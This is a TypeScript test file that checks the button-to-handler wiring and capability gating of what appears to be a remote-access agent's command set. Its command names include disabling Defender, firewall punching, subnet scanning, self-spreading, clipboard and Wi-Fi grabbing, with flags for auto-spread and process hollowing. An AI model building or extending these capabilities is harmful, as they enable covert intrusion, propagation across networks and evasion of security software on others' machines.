import { describe, it, expect } from 'vitest';
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';

/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
const UI_REMOTE_ACTIONS = [
  'pause',
  'resume',
  'stop',
  'uninstall',
  'restart',
  'screenshot',
  'ps',
  'sysinfo',
  'netstat',
  'users',
  'software',
  'get_log',
  'powershell',
  'upload',
  ...AGGRESSIVE_REMOTE_ACTIONS,
] as const;

/** Implemented in agent/client (handleCommand + aggressive_commands). */
const AGENT_HANDLED = new Set([
  'pause',
  'resume',
  'restart',
  'stop',
  'kill',
  'uninstall',
  'get_log',
  'exec',
  'powershell',
  'upload',
  'download',
  'ps',
  'netstat',
  'users',
  'software',
  'screenshot',
  'sysinfo',
  'ipconfig',
  'clipboard',
  'wifi',
  'hole_punch',
  'hole_punch_close',
  'hole_punch_status',
  'spread_now',
  'start_tunnel',
  'subnet_scan',
  'defender_off',
  'firewall_punch',
  'mesh_status',
]);

describe('remote action wiring', () => {
  it('every UI remote button maps to an agent handler', () => {
    for (const action of UI_REMOTE_ACTIONS) {
      expect(AGENT_HANDLED.has(action)).toBe(true);
    }
  });

  it('gates hole punch when capability missing', () => {
    expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
    expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
  });

  it('blocks defender_off on darwin regardless of caps', () => {
    const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
    expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
    expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
  });
});
